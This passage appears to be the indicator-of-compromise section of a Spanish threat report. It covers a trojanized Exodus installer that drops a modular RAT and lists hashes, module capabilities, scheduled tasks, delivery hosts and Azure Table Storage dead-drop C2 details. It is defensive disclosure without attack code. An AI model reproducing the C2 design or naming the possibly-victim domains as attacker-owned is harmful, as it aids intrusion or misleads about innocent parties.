%TEMP%\<guid>.tmp.node 

Módulo FFI koffi extraído del asar en tiempo de ejecución, 2.340.864 bytes

@intelcorp/wmi-native-module

Scope de npm que suplanta a Intel, usado para reconocimiento del equipo vía COM y WMI

Dll4_fileman.dll

SHA256: fdd376562aac4be64fb635546a61e1912ff2c353360db73d2c553dcbb5a44f54

El módulo de administrador de archivos remoto del RAT, que permite navegar, mover, eliminar, crear directorios (mkdir), además de transferencia HTTP para subir/descargar.

Dll4_socks.dll

SHA256: 2f47cfbb13f7a8a2d30d287f4ddd974fabea6762ad9781d438eb53da41b4582d

El módulo de proxy SOCKS del RAT, que permite al actor convertir el equipo en un relay.

Dll4_cmd.dll

SHA256: 84437d4239d2a3d90c4faad0a3c0630b2f61a40f7bbd12109bef74d7613b8756

El módulo de shell remoto del RAT, procesos secundarios con STDIN/STDOUT en tuberías, a través de WinHTTP.

Dll4_script.dll

SHA256: 5274e93e35586a341d14b50cdf8413d59c51fd94f32bdc70bfdfb77198367603

El motor LuaJIT del RAT (motor de ejecución de Lua), que permite al actor enviar código Lua y ejecutarlo en el mismo proceso. Permite inyección, además de operaciones CRUD en el registro, DPAPI, sockets sin procesar y consultas de tokens.

Dll4_browser.dll
SHA256: 7e74f6e2eb7a17a8d25bb322a14c392c9d92c6ab29fc66b50221da134a1bdba8

El módulo de robo de credenciales de navegador del RAT dirigido a Chrome, Edge y Firefox. Contraseñas, cookies, autocompletado, además de un borrador de cookies para forzar un nuevo inicio de sesión.

Dll4_vnc.dll
SHA256: 5fe753945da0eaac2c2ef3845cba603dea6c3e8529fa581d7e0192f8af60391a

El módulo oculto de control remoto del RAT: crea un segundo escritorio de Windows invisible y vuelve a abrir Chrome o Edge ahí contra una copia del perfil de la víctima para monitoreo o ataque.

Artefactos del sistema

Elemento

Descripción

{4046AD2B-3831-4011-AEAD-D98C5C9FD1EF}

ProductCode de MSI, presente bajo la clave Uninstall

{C4A1D8F2-3E5B-4C72-9A6D-1B8F0E27A3C9}

UpgradeCode de MSI, presente en forma de GUID invertido bajo HKLM\SOFTWARE\Classes\Installer\UpgradeCodes

DisplayName Background Service, Publisher Apple Inc

Metadatos del instalador, ambos falsos

ExodusHelper

Mutex con nombre: protección de instancia única creada por el payload en memoria

INetHealth

Tarea programada: borra ProxyEnable, ProxyServer y AutoConfigURL según un horario para mantener la salida de C2 directa

ExdBackupTool

Tarea programada: se crea después de la instalación mediante la API COM del Programador de tareas, ejecuta Exodus.exe desde %APPDATA% cada hora.

C:\Windows\Installer\SourceHash{4046AD2B-3831-4011-AEAD-D98C5C9FD1EF}

Archivo de hash de origen de MSI, persiste tras eliminar el directorio de instalación

Exodus.exe ejecutándose desde %APPDATA%, con explorer.exe como proceso padre, sin ventana visible

Indicador en tiempo de ejecución de la compilación troyanizada

Infraestructura de entrega

Elemento

Descripción

35.212.159[.]20

Aloja el MSI y resuelve us05[.]org, usado por ambas rutas de entrega

us05[.]org

Redirige con código 302 a una URI search-ms:

\\us05.org@8080\update

Recurso compartido WebDAV presentado a la víctima como una ventana de resultados de búsqueda de Windows

35.212.159[.]20/jn0101.msi

Ubicación de descarga del MSI usada por el dropper de JavaScript

Comando y control

Observado durante la detonación:

Elemento

Descripción

lgapistorage123.table.core.windows.net

Buzón muerto de Azure Table Storage. Tabla ftable434, PartitionKey es el ID del bot, las filas T_ son tareas asignadas y las filas R_ son resultados

winapi.table.core.windows.net

Segunda cuenta de Azure Table Storage, mismo esquema

Los siguientes hosts estaban configurados en el binario, pero no se contactaron durante nuestra detonación. Algunos parecen ser dominios legítimos de pequeñas empresas cuyos propietarios podrían ser víctimas también, así que trátalos como pistas y no como propiedad confirmada del atacante:

  • api.27inbarbadostours[.]com

  • api.504guaratv[.]com

  • api.b2compages[.]com

  • api.elcaminodesermadre[.]com

  • api.ideasnation[.]net

  • api.jyfgarriga[.]com

  • api.onemkscleaningsolutions[.]com

  • api.rezperfect[.]com

  • api.shopfoora[.]com

  • api.shuyinla[.]com

  • app.bcntextilrep[.]com

  • app.conviertenoensi[.]com

  • app.geutex[.]com

  • app.micheladafestelpaso[.]com

  • app.rtpsenior4djp[.]com

  • app.sentiented[.]com

  • app.shuchipharmacy[.]com

  • app.springstore[.]net

  • app.stateyatra[.]com

  • auth.SecureSwallow[.]com

  • auth.SpeakToWinClients[.]com

  • auth.auravp3[.]com

  • auth.clubvp3[.]com

  • auth.esalesrep[.]net

  • auth.h-dsf1034[.]com

  • auth.nailedbynakole[.]com

  • auth.shuchimed[.]com

  • cdn.ShinoZen[.]com

  • cdn.SpeakToGrowBiz[.]com

  • cdn.baraldes[.]com

  • cdn.cobraporganardinero[.]com

  • cdn.estudiod2[.]com

  • cdn.jiyaoglass[.]com

  • cdn.planningportfolioweek[.]org

  • cdn.snsafirieik[.]com

  • cdn.yenoox[.]com

  • static.AriesGlobalSoft[.]com

  • static.TryTheCrowdMakers[.]com

  • static.TurboLeadSlab[.]com

  • static.cistecca360[.]com

  • static.emialvarez[.]com

  • static.gompl-rggsrve[.]com

  • static.metodorace[.]com

  • static.premios-king[.]com

  • static.suplenation[.]com


Ten en cuenta que el binario también hace referencia a api.blockchain.info, api.moonpay.com, api.rampnetwork.com, api.segment.io y www.googleapis[.]com. Esos se encuentran en una región distinta del archivo, entre rutas API genuinas de Exodus, y son servicios legítimos. No los uses como indicadores.

También te podría interesar

Más información sobre Fallas de higiene cibernética que invitan a los hackers, y cómo detenerlas
Fallas de higiene cibernética que invitan a los hackers, y cómo detenerlas
Blog

Una mala gestión de credenciales, configuraciones incorrectas y cuentas olvidadas son el tapete de bienvenida que buscan los atacantes. Huntress documenta las fallas de higiene cibernética que ve con más frecuencia. Y cómo solucionarlas de verdad.

Más información sobre Los 36 ciberataques más comunes [2026]
Los 36 ciberataques más comunes [2026]
Blog

Cada día ocurren 600 millones de ciberataques en todo el mundo. El primer paso para reducir tu riesgo es saber cómo lucen los más comunes. Aquí tienes 36 de ellos, y lo que realmente funciona contra cada uno.

Más información sobre Cerrando la brecha: Managed ITDR ahora admite la deshabilitación de identidades para identidades sincronizadas con Active Directory
Cerrando la brecha: Managed ITDR ahora admite la deshabilitación de identidades para identidades sincronizadas con Active Directory
Blog

Una de las funciones más solicitadas de Huntress Managed ITDR ya está disponible: la deshabilitación de identidades para identidades sincronizadas con Active Directory. Esto es lo que significa para tu flujo de contención y respuesta.